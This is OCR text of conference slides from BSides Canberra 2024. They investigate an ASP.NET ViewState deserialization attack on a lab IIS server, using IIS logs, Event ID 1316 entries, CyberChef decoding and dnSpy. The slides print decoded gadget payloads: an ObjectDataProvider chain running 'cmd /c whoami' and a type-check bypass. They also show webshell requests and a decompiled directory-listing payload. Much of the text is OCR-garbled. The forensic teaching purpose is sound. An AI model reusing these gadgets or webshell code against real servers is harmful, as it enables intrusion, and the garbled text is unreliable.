#Date: 3
#Fields: date time s-sitename s- 1p cs-method cs-uri-stem cs-uri-query s- port c-ip cs-version cs(User-Agent) cs(Referer) cs-host sc-status sc- substatus sc-win32-status sc-bytes cs-bytes time-taken ScriptName App11catzcnPoolPhysxcalPath

W3svcl 127. GET /keys.aspx - 88 1 HTTP/1.1 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/ /keys.aspx C:\inetpub\wwwroot\

4 W3svCl 1 1 GET /keys.aspx _ %szEywAcAAQAAAPXZFXZF%ZF%ZFSBAAAAAAAAAANCAAAAXK1pY3]vc29deSQb3dlc1NonxsLkaavacxwngVchlvbJazL)AuMCctwLCBdedeXJlesldeyVst!FBlmepVetlevRvaZVuPTMmeVzODUZVWQzNJRleUFAQAAAEJNaWNbeNvZnQulez
W3svC1 12 POST /keys.aspx - 80 12 1 HTTP/1.1 Mozilla/5.0+(Windows+NT;+Windows+NT+1@.@;+en-AU)+WindowsPowerShell/s. 41 5 /keys.aspx C:\inetpub\wwwroot\
2 89-21 99:42:25 W3SVC1 POST /keys.aspx - 80 +(Windows+NT; +Windows+NT+18.8;+en-AU)+WindowsPowerShell/s /keys.aspx C:\inetpub\wwwroot\
2024-99-21 ©9:43:18 W3SVC1 127 POST /keys.aspx - 80 Mozilla/s e¢(windows+NT-+windows+NT+;e ;+en-AU)+WindowsPowersShell/s 7 /keys.aspx C:\inetpub\wwwroot\
2024-¢ 96 W3SVC1 1 POST /keys.aspx - 80 12 Mozilla/5.0+(Windows+NT ; +Windows+NT+10.0;+en-AU)+WindowsPowerShell/s. ) /keys aspx C:\inetpub\wwwroot\
29: 4 W3svC1 GET /bsides2024/zeroed.aspx function=whoami 80 HTTP/ Mozilla/s /§(Nlnd0wS+NT+1d,i‘ +Win64; +x64)+ﬂpplewebetl +(KHTML +11ke+Gecko)+Chrome/ ~+Safan/w 5 56 203 /bsideszsz&/zer

<+Safar1/ 2]
101 /bsides2@24/zerced.asp \1netpub\wwwroot\
2 4 /bsides2024/zeroed.aspx C:\inetpub\wwwroot\
237 13 /bsides2024/zeroed.aspx C

20 /

:\windows 80 .1 HTTP/1.1 Mozilla
1 HTTP/1.1 Mozilla/5.@+(Windows+NT;+Windows+NT+18.0;+en-AU)+WindowsPowershell/
1 HTTP/1.1 Mozilla/5.e+(Windows+NT;+Windows+NT+ ;+en-AU)+WindowsPowershell/s.
.1 HTTP/1.1 Mozilla/5.@+(Windows+NT;+Windows+NT+ en-AU)+WindowsPowershell/

2824-09-21 ©9:46:27 W3SVC1 1
-21 29:48:31 W3sSVC1

W3SVC1 12
24 2 W3SVC1 12
2024-99-21 99:49:31 W3SVC1 1

1 GET /bsides2024/zeroed.aspx function=dir&path=!
POST /bsides2024/zeroed.aspx.aspx @
POST /bsxdeszeZQ/zeroed,aspx -
POST /bsides2024/zeroed.aspx -
POST /bsides2@24/zeroed.aspx -
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View State Investigation — Windows Event Logs

* Application.evtx

EventID 1316
Source ASP.NET 4.0.30319.0

* Eventincludes

The time of the request

The targeted application pool
The targeted page

The request URL

The attackers IP (or more likely the load
balancer’s IP @)

The payload!

* The fact this event exists means
exploitation was successful

ZERI

JED.TECH



View State Investigation

* Application.evtx
* EventID 1316
* Source ASP.NET 4.0.30319.0

* Eventincludes
* The time of the request
* The targeted application pool
* The targeted page
* Therequest URL

* The attackers IP (or more likely the load
balancer’s IP &

* The payload!

* The fact this event exists means
exploitation was successful

{4 Event Viewer

File Acion View

¥ Filtered: Log: Application; Source: ; Event ID: 1316. Numbes of events: 2

Level Date and Time
€3 information zwa/zou 741:14 PM

Information S PM

ASPNET 40303190
ASPNET 403031

Application information:
Application domains /L

irtual Path
Application Path: C:\inetpubl\wwwroo

Machine name: ZEROED

Process information:

& ZW!
WNyb3! = nQuY 29t 3dpbmZaL. MAMOYVeGFbCIs ch\[‘x—vm'vh

AGICABC2Q6UHIY 2Va

2XNZPQOKICABL 09am VIGERNAGFC

YOYFqeKSEzow 1uGVBEXIeVLK0SQ==

Request path: /keys.aspx

User host address: 127.0.0.1

User

Is authenticated: False

Authentication Type:

Thread account name: NT AUTHORITY:

ViewStateException information:
invalid viewstate.

513
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64; x64) AppleWebKit

PersistedState:
WEYWACAAQAAAP////BBAAAAAAAAAAWCARARXKTPY3.
mpY

ﬂ‘f"pn.‘lMBAA;\Arﬂ Ve

3M+DQogICAQICABC2
A’.\'Jca;khma AQIDxzZDpQemHZXNZURhenRIbm ZVIEF
RWSE R AL 10G:3 uZGFYZ

1-133713850703173801

JeVRVBZVPTMCYmY ZODUZYWQINIRMAUFAGAAAE N.‘v‘r.mm,,wqwul-u.wum
CVzaAECAAAABGMAAADTw/eGsIHZIcnNpb24SHEGMCIGZW: b2RpbMCInVOZON
XNIbmIOWEST owzwv\-'»m VQUIZhbHNIIIE4bWxucz0iaHROCDoVL INjaGVY

bWV wh ZTpTexNazW :uuuwvl Rp VM7

XMubWilicm3zb:
W 1iDHKIU3IZIGVHIBAbWxuczpdP
NOSWS2dGFuY2U+DQoqICAGPH

€ xceHVibGIXFaleHBsb0ZWQudHhOIBT
WU 2 3vemQInMOKSGSUBED

VVByb3ZpZGVyPqtTgsHIGmAic6HPb/q

537.36 (KHTML, like Gec! &/128.0.0.0 Safar

9mdC5Qb3dicINoZWiksLkVia VbIOZLAUMCAWLC!

VLIRIeHQURMSybWFOAG

RhUH)

VS0cZOILZMaY 2 1KICS|IHdob2F taSAmZ3QTIEN

ZE91GHBIJEVUY 25K WS0PS TaDPOAW)

MxIPSIGYWizZSIqRmIsZUShbWUIImNIZCIQLz4NCIAGICAGIDWY

Path: /keys.aspx
ustom event details

Log Name Application
Source ASPNET 40303190 Loggeg

Event D: 1316 Task Category:

Levet Inform Keywords:

User: Computer
QpCode:
More [nformation:

21/09/2024 74114 PM
Web Event
Clas

Zeroed-PC




View State Investigation -

* Application.evtx

EventID 1316
Source ASP.NET 4.0.30319.0

e Eventincludes

The time of the request

The targeted application pool
The targeted page

The request URL

The attackers IP (or more likely the load
balancer’s IP @)

The payload!

* The fact this event exists means
exploitation was successful

Recipe

From Base64

A-7a-z0-9+/=

~am B

~ 0O

Input + O3 =

/WEYWACAAQAAAP / / [ /BBAAAAAAAAAAWC AAAAXKIPY3Ive29mdC5Qb3d1cINoZWxs Lk
VkaXRvciwgVmy c21vbjezL jAuMCAWL CEDdWx@dX] 1PWS 1dXRyYiiws IFB1YmxpYetl
eVRva2VuPTMxYmYz0DU2YWQzNRIMzUFAQAAAE INaWNy b3NVZnQuvmlzdWF sU3R1ZG
1vL1R1eHQuRmMOybWFAdG1uZy5UZXheRmoybWFedGluz111b1Byb3BlcnRpZXMBAAAA
D@ZvcmVncm91bmRConVzaAECAAAABgMAAADIBTw/ eG1s THZ1cnNpb249T jEUMCIgZW
53jb2Rpbmc9InVeZiBxNiI/PgeKPE9iamVjdERhdGFQcmI2aWR1cIBNZXROD2ZROYWLL
PSITdGFydCIgSXNIbmlBaWFsTGShZEVUYWIsZWQ9TkZhbHN1I iB4bkxuczeiaHRecD
ovL3NjaGVtYXMubWljcmOzb2Z8LmNvb593 ak5meC8yMDA2L 3hhblkiwyv cHI 1c2VudGFe
aWIuIiB4bkxuczpzZDOiY2xyLWShbWVzcGFJZTpTeXNOZWBURGLhZ25ve3RpY3IMTYX
NzZW1ibHk9U31zdGVEIiB4blxuczpAPSJlodHRWO18vc2NoZWlhcy5takNyb3NvZnQu
Y29tL3dpbmZ4Lz IwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHIvdmlkZXIuT21qZW
NBSW5zdGFuY2U+DQogICAgPHNKO1Byb2N1 c3M+DQogICAETCABC2Q6UHIVY 2z Cy 5T
dGFydEluZm8+DQogICAgICAZ IDXxzZDpQcmdjZXNzUSRhcnRIbmZvIEFYZ3VEZWS@cz
0iL2MgY21kIC9jIHdob2FtaSAmZ3Q7 IEMEXFx1c2VyclxccHVibGl jXFxleHBsb218
ZWQudHh@IiBTdGFuZGFyZEVycmSyRWSjb2Rpbmc9Int40k51bGx91iBTdGFUZGFyZE
91dHB1dEVUY29kaW5nP5 ] 7eDp0dixs FSIgVXN1ckShbWUSTiIgUGFzc3dvemQoIntd
0k51bGx9IiBEb21haW49IiIgTGOhZ FVzZX1QcmOmakx1PSIGYWxzZSIgRm1sZUShbid
U9ImNtZCIgLzANCIAgICAgIDwYC2Q6UHIVY2VZCyS5TdGFydEluZm8+DQogICAgPCOZ
ZDpQcmYjZXNzPgeKICABLE91amVjdERhdGFQcmO2aWR1ciSPYmplY3RIbnNNBYWSJZT
ANCIwvT21qZWNERGFAYVByb3ZpZGVyPgt7gsHtGmIIc6HPb/ qYOYFqeK5Ez cwluGvE
EX1eVLK@aQ==

1333 = 1 Tr Raw Bytes 4= LF
Output RO@::
[f-oe2k i

*Microsoft.PowerShell.Editor, Version=3.6.8.8, Culture=neutral,
PublicKeyToken=31bf3856ad364e35
BMicrosoft.visualStudio. Text.Formatting. TextFormattingRunPropertie
5 ForegroundBrush don<?xml version="1.@"
encoding="utf-16"2>

<0ObjectDataProvider MethodName="Start"
IsInitialloadEnabled="False"

, xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation™
i xmlns:sd="clr-namespace:System.Diagnostics;assembly=System”
" xmlns:x="http://schemas.microsoft.com/winfx/2886/xaml">

<ObjectDataProvider.0ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:Process5tartInfo Arguments="/c cmd /c whoami &gt;
C:\\users\\public\\exploited.txt" StandardErrorEncoding="
{x:Null}” StandardOutputEncoding="{x:Null}" UserName="" Password="
{x:Null}" Domain="" LoadUserProfile="False"” FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.0bjectInstance>
</ObjectDataProviders i-{«Ai:s0Hs | Ioli+9+jx®DII5 kArcy T2 i



{4 Event Viewer

Rec|pe File Acion View

® 4 ® From B : % 7 Fitesed: Log: Application; Source: ; Event ID: 1316. Numbes of events: 2
L] Level Date and Time sou
Securly Information 21/09/2024 TA1:14 PM S
A-Za y information 21/00/2024 74225 PM ASPNET 40303130

* Application.evtx =
« EventID 1316 B
e Source ASP.NET 4.0.30319.0 ",\”l;i!‘.?\'.‘nl‘!::;‘lif;“'}. .

irtual Path
Application Path: C:\inetpubl\wwwroo
Machine name: ZEROED

e Eventincludes

Request information

* The time of the request e

User st address: 127,001
User

* The targeted application pool ::;:::::f
 The targeted page

Gl Al /! VINSC3RIbSSXaWSkb3dzt kZvem 120 CBWZXJzaW9uP TQuMC. -OnJASIENHJNih‘nU‘?n‘vthth./-QUMthH\ 3
Ko OTMOZTAO NS RSSXWSKE S et KASCRNACTAGHIZOEAAAR I CORGHIE AN

- Th AN RSB IR AN WYSHIWSrh peie ettt
e re q u e S INCAwLiAUMCwqQ3VsdHWZT 1uZXVOcmFsLCBQdWIsaWNLZXIUb2tibj TiNzdhNWM 1A MZRIMDGSXVODAAAABI9pdGVIcw Vic 46ZQhfdm Vyc2iv DQUAﬁAQ
QUAAAAKAAAACGAAABACAAAAEAAAAAKDAAAACQQAAAAJBQAAAAKGAAAACQCAAAAICAAAAAKIAAAACQOAAAAICWAAAAKMAAAADQYHAWAAAAEBAAA

! \.v.q':.uv\),.‘:: b3cuQ29tCGRZWSITWIKZWrsiFZicnNpb24INCAwLiAUMCwqQ3VsdHVYZT 1uZXVOcmFsLCBQAW)saW
* : I A EO OB oI
. o RTEb2eAGHToRTNOUAY WO ZFAZAMAAEGHMZOIZWIZX vy Arevsesirili

° Th e atta C ke rs I P or more l.l ke l t h e lo a d A A A AT MAR AN AL RURRAR: 2
QAA IGQAAAAKaA, AAAAEAAAACRSAAAAJHAAAAAELAAAABAA, RAAAAAEDAAAABxXTeXNOZ) 9sbGVIdGivbnMuSGFz

AAAADMB2FKRM FIdG am,wmgmq:ww‘,‘nqwmm GVQ au.‘mhmmuv "‘H"x\vﬁulewv.:\\AAA YMABQULCBXTEXNIZWOUQ

QAAMAAAAE \/ A AA‘AAI\A‘\A‘AA\AAA{\A-‘-AIAAJM)J l—an‘ BTMO
<l i\ G IvZGUUDQOK. \AAAAAAAAA?’ RQAATAEDAP2UTmYA, -‘-A,’-,’AhAAAA OAAAIELAQsAAA AAG
A(!n'm-BFAAAAA‘AAAFuL-L-\AA-JaAAAAAAAAA-\AAA..—AAQLAAA»\ AAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The payload!

AAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEGAAAAAAAAAAAAAACSIZXNOAAAAAKAAAAGAAAACGAAAAIAAAAAAAAAAAAAAAAAACAAAGALECHNY
VwAAAKGCAAAAQAAAAAAAAAMAAARAA, :.u./A/./.MMBA-\-\F.Mnnb:q,/w\m,\u. GAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQGAAAAAAAA

ETCREFrITAAB,
AAAOTBGRBBUNAGAAARMMEQWWEQZVOGAACAIRDBCRBMEPAAAKG 2
CaKAAAKDWSAAAOMEQSXWBMLEQSRCoSpMoY JKBIAAAGTDRY TDItSEQURDPGTEXEHOMAAAOTCAGRBEUNAQAAARMPEQ

o o AAGEQBYEGhVEARACOWNAAABGhEPGREIDXEAAAGMDQAARSIRDIGRC GBUAAAKIABS LAAAKIHEOF 1TDhEOE BwhVFQAACMEW
PY h f AACGZ/GAAACio EAAEAAAARAAWARABZNCAn AAUABAAAAMGBAAAITGAANAIAAGACAAAU3RyaWSncw
The fac IS event exists means A e s~
‘AAA,\*AAAAAr.AAAAK;.M/.m\AAAAm\AAAA»\-— ABAAAAAAAGACBAKAAGAFWAPAAGAHWAPAAKAK4AGWAKAMY AGWAKANAAGWAGAAQE +AAOADEBEGEGAF

KBKAAGAHWBCQEGAIUBEEGAKMBCGEGALSBKAAGAAWC AGAEWCOWIAAAAAAGAAAAAAAQABAAEAEAAXAAAABQABAAEAUCAAAAAAKhG2AACA

exploitation was successful o e 0

Event D: 1316 Task Categor: Wb Event

Levet inform Keywords:  Cla
User: Computer  Zeroed-PC
OpCode info

More [nformation: Eventlog



Recipe ~ B m B input + O3 =
NOZWOUVHLWZISWgbXNIb3]saWIsIFZ1lcnNpb24INCAwL JAUMCWEQ3VsdHVy ZT1uZXVEcmF sLCBQdW] saWNLZX1Ub2t L
se6d ~ ® 11} bj1iNzdhNWMIN] ESMzR1IMDESXVesIG12Y29ybGliLCBWZX] zaWIuP TQUMC4wL jAs IEN1bHR1cmUSbmV1dHIhbCwgUH
VibG1jS2V5VEorZWasY c3YTVNTYXOTMAZTA40VdCTAAAARKCT AAAAAGY gAAATQBU31 zd 6Vt LkNvbGX1Y3Rpb252

(] 4 (] Lkd1bmVyahMuSUVUdW1 1 cmF i bGVgMVtbU312dGVEL1RS cOUS 1612 Y29ybG 11 LCBWZX I ZaWIUPTQUMCAWL JAS TEN1bH
g A-Za-ze-94/= R1cmUSbmVLdHIhbCWEUHVibG1 S 2V5VGIrZWAgY c3YTVINTYXOTMBZTAOV1dBMAAAANR 2VBRIS 1Yy YXRVCgoB
RWAAAEMAAAAT YWAAAAK + AAAACWIAAAAGZ gAAAEVT eXNBZWBUQ29sbGYjdG 1vbnMuR2VUZXI pYyS IRWS 1bHVy YXRvem

From

AxWINSc3R1bS5UeXBIXSBHZXRF bnVtZXIhdGOyKCkGZWAAAIQBU3 1 ZdGVE LkNVbGX1Y3Rpb25z L kdLbmVyakMusUvy
dW1lcmFeb3IgMytbU31zdGVEL IRSCGUSTG12Y29ybGL1LCBWZXIzaW9uPTQUMCAWL JASTENLBHR1cmUSbmVLdHIhBC
WEUHVibG1S2VSVGOrZWASYI c3YTVINTYXOTMOZ TA4OV1dT Ed1dEVUAWL 1 cmF@b3 ToKQgAAAAKAUGAAABCAARABmEA
. . AADAALNSc3R1bS5GAWS jYDIbWINSc3R1bSSDb2x sZWNBakIucySHZWS 1em] j Lk 1FbnVtZXThdG9y YDFbWINSc3R1bS
. Ap p ll C at I O n thX SUeXB1LCBtc2NvemxpYiwgVmVyc2lvbjBeL jAuMCawL CBDdWxBdX 1 1PWS LdXRy YiWws IFB1YmxpY@tleVRva2VuPWI3
° NZE‘lYZU?HTkZNGUWDldXSwngNj b!]SaHISTFZl(nhph?dQNdeLjAuV(ngEVSdHVyZT]uZX\dB(mFSLESQdH]saw
NLZX1Ub2t1b§14 I{ESMZRL 312dGVELKIvb2xX1YW4SIG12Y29ybGL i LCBHZXIZaWIUPTQUMC AW
LjASTENIBHR1cmUSbmY1dHIhbCWgUHVIbG1 ] S2VEVGEIrZWASY §c3Y TVINTY XOTMOZTA4OVdCTARAAAK CTAANAAGSE
° Eve nt I D 1 31 6 AAABSTeXNEZWOUQ295bGVdG1vbnMuSUVUdWLL cmFab 3T hNb3ZLT 3 k.
CWOAAAAGBEAAAB 1Cb29s ZWFULE1vdmVOZXheKCkGbWAAABL TeXNEZWBUQmIVbGVhbiBNb3Z1 Tmv4dCgpCAAARAGBSE
ARAETAAAAGEAAAALBCU3]2dGVELKZ1bmNgM] thu31zdGVtLkNvbGx1Y3Rpb252 L kd1bmVyaWMuSUVudWllemFeb3lg
MVtbU312dGVELLR5 cGUS IG12Y29ybGLiLCBWZXzaIuPTQUMCAHL ASTENIBHR1cmUSbmV1dHI hbCwEUHVibG1 52
Y SO u rce ASP N ET 4 0 3031 9 0 VSVGIrZWATY] c3YTVINTYXOTMBZTA4OV1dLCBtc 2Ny emypY iwgVmiyc21vbjeaL j AuMCAwL CBDAWxBAX T1PWS 1dXRy
. o \Jo . Yidis TFB1VmXpY@t1eVRva2VUPWIN2ELYZU2MTk zNGUWODL AL F £ TeXNBZWBUVH1WZSwghXNjb3IsaWI s FZLcnhpb2
49NC4wL JAUMCWEQ3VSAHVYZT1UZXVOCmF sLCBQAW] saWNLZX1Ub2t1b1iNzdhNWMIN ESMZR1MDES XVeIPAAAAC]
PEAAAAZYAARAKAFTeXNOZWOUQ29sbGY jdG1vbnMuUR2VUZXIpYy S IRWS1bHVy YXRVEmAXW] t TeXNBZHAUVHLWZSwgbX
. Njb335aWIsIFZ1cnNpb249NCAwLJAUMCWEQ3VsdHVY ZT 1uZXVECTF sLCBQAND saWNLZX1Ub2t 1bj 1iNzdhNWMINS ES
e Eventincludes raRIMDESX - AR AL AAMCX TAAGBAMBL T ZHOUHINZS
BNZXRFQ3VycmvVudCgpBncAAAAZUS 1 ZdGVEL1RScGURZ 2VOX@N1cn ] 1bnQoKQEAAAAKAUWARABCAAAABN AAADGAVNS
€3R1 bSSEdHEjYD]hhﬂNE(ERleSUEXE] L(BtLZNu(m!pViwg\JmVytzlvhjBL jAuMCﬂwLEDdHKBd’(]lP‘HSldXRy\“W
. wsIFB1YmxpY@tleVRva2VuPWI3N2E1YZUZMTkzZNGUWOD1dL Ft TeXNBZWOUT2IqZWNBLCBE c2NvemxpY iwgVmVyc21v
[} Th e tl m e Of th e re q u e St b3j@8LjAUMCAWLCBDAWX@dXI 1PWSLdXRy Yiws IFB1YmxpYetleVRva2VuPHIIN2E1Y zU2MTkzNGUWOD1dXQk+AAAACE
k+AAAABROAAAAQU3 1zdGVELKF § dGL2YXRVC EZ7AMADKNY ZWF 8ZULuc 3RbmNLC gFNAAAAQUAAARLTAAAACT ARAAAT
GAAAAZ+AARAKVNS c3R1bSSPYmpLY3QgQ3 1 YXR1SHS ZdGFuY2UoU31zdGVEL 1RS CGURBN| 31zdGVtLk9iam
VjdCBDemVhdGVIbnNBYWS jZSh TeXNBZWBUVH1WZ Sk TAARACEFOAAAADWAARASAARAAT INSc3R1bS5Db21wb 25 1bnRN

. .
* The targeted application pool B e
SAAAACKZECK2TCX2MCX2QCX2UCX2YCX2cCX2gCX2kCX 200X 25 AAAARAAAARAAAAAEHBWI CAGTCAETCE x PSdO4qBRGL
+WCEYQBmIwsLXgEAeqK zm7EPIbZxcY5bL5 c2YaPOeuXoFcs3oPt i
* The targeted page
Output B0Om::
* Therequest URL
yo2-a YVYY WSystem.Windows.Forms, Version=4.9.8.8,

Culture=neutral, PublicKeyToken=b77a5c561934e089
ISystem.Windows . Forms . AxHost+State PropertyBagBinary 7]

* The attackers IP (or more likely the load

System.Collections.Generic.List 1[[System.Object, mscorlib, Version=4.8.0.9,

b l ) IP e ) Culture=neutral, PublicKeyToken=b77aSc561934e889]] _items _size _version

° | h e p aylo a d | T e Y, TP O A, G

PublicKeyToken=31bf3856ad364e35
jSystem.Workflow.ComponentModel .Serialization. ActivitySurrogateSelector+ObjectSurrogate+Ob
jectserializedRef type memberDatas System.UnitySerializationHolder

§ me 16619 & CRLF (detected)

* The fact this event exists means
exploitation was successful

LoadFactor  Version Comparer HashCodeProvider HashSize Keys Values
System.Collections.IComparer§System.Collections. IHashCodeProvider  iQ8?

nz ¥
e 11, L11This
program cannot be run in DOS mode.
$ PEuwn: L y-if Fe
n) @



Recipe

View State Investigation

* Application.evtx

EventID 1316
Source ASP.NET 4.0.30319.0

* Eventincludes

The time of the request

The targeted application pool
The targeted page

The request URL

The attackers IP (or more likely the load
balancer’s IP @)

The payload!

* The fact this event exists means
exploitation was successful

~ O W § input

¢

i Output #.

.text

.text

.rsrc



EF dnSpy v6.5.1 (64-bit, .NET)
File Edit View Debug Window Help

4 [ zhq30p45 [00.0.0)
405 2hq50p45.dil
b 55 pE
P o0 Type References
P o0 References
4 {} -
4 "fé <Module> @02000001
b BB Base Typeand Interfaces
b Bl Derived Types
4 4 payload @02000002
P ER Base Type and Interfaces
b Bl Derived Types
] Payload(} : void @06000001

BSides Canberra 2024

®

1
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11
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=
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Recipe ~ O m§ input

& E ¢ - 9 P Sat | 0O

sy e e s ved

/o
’

b4

Payload
Token: @x@6888881 RID: 1

public Payload()

{

HttpRequest request = Httplontext.Current.Request;
HttpResponse response = HttpContext.Current.Response;
StringBuilder stringBuilder = new StringBuilder();
string text = request.Params["path™];

string text2 = "{@,-25}\t{1,-20}\t{2,-26}\t{3,-20}1\t{4}";

stringBuilder.AppendLine(string.Format(text2, new object[] { "Name™,

Time", "Creation Time", "Size™ }});
stringBuilder.AppendLine

"Last Access Time",

+0O3 8=
- O x
-

Write

string[] array = Directory.GetDirectories (text);
for (int i = @; i < array.lLength; i++)

DirectoryInfo directoryInfo = new DirectoryInfo(array[i]);

B B

L E T

array = Directory.GetFiles (text);
for (int j = @; j < array.Length; j+H)

FileInfo fileInfo = new FileInfo{array[j]);
fileInfo.Length }));

}
response.Write(stringBuilder.ToString());

stringBuilder.AppendLine(string.Format(text2, new object[] { directoryInfo.Name,
directoryInfo.lLastAccessTimelUtc, directoryInfo.LastWriteTimelUtc, directoryInfo.CreationTimeltc,

stringBuilder.AppendlLine (string.Format(text2, new object[] { fileInfo.Name,
fileInfo.LastAccessTimeUtc, fileInfo.LastWriteTimeUtc, fileInfo.CreationTimeltc,




EF dnSpy v6.5.1 (64-bit, .NET)

File Edit View Debug

Window  Help

®

B O ce -

P Start

9

by By v sty v
// Payload

// Token: @x@6@@8881 RID: 1
public Payload()

4 [ zhq30p45 [00.0.0)
4 99 7hq50p45.dil
b 55 pE
P o0 Type References
P o0 References
4 {} -
4 qa <Module> @02000001
b BB Base Typeand Interfaces
b Bl Derived Types
4 4 payload @02000002
P ER Base Type and Interfaces
b Bl Derived Types

] Payload(} : void @06000001

BSides Canberra 2024

1

S W0 00~ oW W

=

[ary
=

12
13
14
15
16

17
18
19

21
22

23
24

25
25

{

HttpRequest request = Httplaontex
HttpResponse response = HttpCont
StringBuilder stringBuilder = ne
string text = request.Params["pa
string text2 = "{@,-25}\t{1,-20}
stringBuilder.AppendLine(string.

Time"”, "Creation Time", "Size"
stringBuilder.AppendLine

'

)
string[] array = Directory.GetDi

for (int i = @; i < array.Length

-

DirectoryInfo directoryInfo

stringBuilder.AppendLine (str:
directoryInfo.LastAccessTi
B O B T

L E T

array = Directory.GetFiles (text}
for (int j = @; j < array.Length

FileInfo fileInfo = new File

stringBuilder.Appendline (str:
fileInfo.LastAccessTimeltc,
fileInfo.Length }));

e m ey

response.Write(stringBuilder.To5

From Base64
A-Za-20-9+/=

Remov

alphabet chars

A0 n

wveH) i 3 ‘8yMDA2L3hh

[ 35 IseT1t NG
1uywil 2dGVtLKNVbmZPZ3VyYXRpb247 12dGVtLkNvbmZpZ3Vy YXRpb24iDQpabixu
czpyPSIjbHItbm 1bS5SZWZ! ZC2VEYmXSPW1ZY29ybGliTj4NCiAGICABT21qZW
NORGF@YVByb3ZpZGVyIHgES2V5PSIeeXB111BPYmplY3RUEXB1PSI7eDpU iIE1
1kd1dFRScGUiPgOKICARICAGICABT2 K1 tZXR1 AGICAGIC
AgIC Jpbmc+U312dGVtL
1FZ1 4wl FAUMC T CBQdWI sakNLZX1Ub2
t1bjOzMImMzg TM1PC 1AgICAGICAGPCIPYmPLY3REYXRUHIvdmlkZXIuTWV@aGk
UGFyYW11dGVycz4NCiAgICABLO9iamVi 2aWR1CJ4NCiAGICABT2 g
VSPSImalVsZCIgT2: 2XNvdX3j 1S TmFtZToi b
bGQiPgeKICAGICAGICABT2. k1 tZXR1 ABICAGICAGICABCZ
PTdHIpbmc+2G12YWISZUFjdG1 1U2VsZWN@b3: 8L ICARICAE
ICAgIC JQUPCIYOK: 1AGICAGICAGPCIPYmpLY3REYXRhUHIvAm
1kzZX y 1AgICABLO9IamV 1cj4NCIAGICABT2: y
b3ZpZGVyTHRES2VSPSI2ZXQiTEI i amVidE SI7U3RNAGL 2UgZm11bGRIT
11PSITZXRWYWX1. ABIC p1Y JvdmlkZXIu yYw1l iAgICAg
ICAGICAGIDXzOk9iamVidC8+DQogICAGICAGICAGICABC2pCh295ZWFUPNRYdWUBLIMEQMIVDGYhDIANCIAGICARIC
AgPCIPYmp1Y3REYXRhUHI VM1 kZX: y iAGICABLO9IamV 1cian
CiAgICABT2. TE9iamVidE. PSJ17eDp’ LY
g IFuYWd1ciSBcHBTZ: iIE11 ITZXQiPgeKICAGICARICAS
T2 k11 BhemFEZXR1 AgICAGICAGIC 1jem9zb2
12YWISZUFjd61 JUeXB1Q2h1Y2s8
L3M6U3RyaWSnPgOKICAGICAGICARIC) ICAGICAGICABLO9iamVidE
ci JhbWV@ZXIzPgeKICAGIDWVT2! g 33
2URpY. iU312dGVELKR1bGVNYXR IRGV:
22F0ZWNL ZXIrRGV: y
SNZW1iZX3 1
1izx3 gKTAAAACQKAAAAIC, 1bSSEZWX1Z:
b6 ZXIrRGV: 75eQZOYX
1Cm11 12dGVELKR1bGVNYXR1
y CitEZWX1Z: 1 5 Ipbm
€$1612Y29ybG1i LCBWZXIzaWIuPTQUMCAWL A IhbCs je3vTvi

NTYXOTMOZTA40VesWIN5c3R1bSSPYmplY3Qs IG12Y29ybGliLCBWZXIzaWIuPTQUMCAWL JASTEN1DHR1cmUIbmV1dH
ThhCwet /4 KA1 € IVEVRARTMAGY S A IV TVANTYVATMAZT AL ARGWABAR] hYNGhATe aliT e TE71 ~nhinh 240N 2t 411

P 5200 =1 Q 1008 Tr Row Bytes € LF (detected)
r
Output = W] g3
<ResourceDictionary

ttp://schemas.microsoft.com/winfx/2006/xaml/presentation™
ttp: //schemas.microsoft.com/winfx/2006/xaml™

Systom;assenb 1ib"
1 Config y Configuration”
xmlns:r="c. System.Reflection; 1ib*>

<ObjectDataProvider x:Key="type" ObjectType="{x:Type s:Type}" MethodName="GetType">
<ObjectDataProvider.MethodParameters>
<s:String kflow.C %
System. Workflow. C , Vel .8.0.8, Culture=neutral,
PublicKeyToken=31bf3856ad364e35¢/s:String>
</0bj ider. >
</ObjectDataProvider>
<ObjectDataProvider x:Key="field" ObjectInstance="{StaticResource type}"
MethodName="GetField">

<0b;

<s: 8 i ivi
<r:BindingFlags>4@</r:BindingFlags>
</0b; der.
</ObjectDataProvider>
<ObjectDataProvider x:Key="set” ObjectInstances"{StaticResource field}"
MethodName="SetValue">

'ypeCheck</s:String>

<0b;
<s:0bject/>
<s:Boolean>true</s:Boolean>
</0bj ider. ame!
</ObjectDataProvider>
Ob: ider x:Key=" Object: {x:Static

c:Configurati LA 3




View State Investigation — Loaded Assemblies

1 Py

s Hacker [ZEROED-PC\Zero dministrator) = a

Hacker View Tools Users Help
5 Refresh 0% Options ‘ Eﬁa Find handles or DLLs ¥ System information | 0E b 4 w3w X
Processes Services Network Disk

Name PID CPU I/Ototalr... Private by.. User name Description Elevation Integrity Command line
[m]w3wp.exe 72468 1.72 kB/s 18592 MB NT AUTHORITY\SYSTEM 1IS Worker Process MN/A System c\windows\system32\inetsn/\w3wp.exe -ap "Defa
[m7] w3wp.exe (72468) Properties = (m| X

General Statistics Performance Threads Token Modules Memory Environment Handles -NET assemblies \NET performance GPU  Disk and Network Comment

Structure ID Flags Path
~ (LR v4.0.30319.0 26 CONCUR...
AppDomain: DefaultDomain 25724... Default, ...
~ AppDomain: /LM/W3SVC/1/ROOT-1-13371390...  25708... Executable
App_Web_20hwnbuv 25708... C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\e22¢2559\92c7e946\App_Web_20hwnbuv.dll
App_Web_bww3jyza 25708... C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\e22¢2559\92c7e946\App_Web_bww3jyza.dll
App_Web_zeroed.aspx.bb4c91d6.nbsnugib 25708... C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\e22c2559\92c7e946\App_Web_zeroed.aspx.bb4c91d6.nbsnugjb.dll
cwv0b4bl 25708... cwv0b4bl
f2dfpycj 25708... f2dfpycj
yhshrntf 25708... yhshrntf
~ AppDomain: SharedDomain 14072... Shared
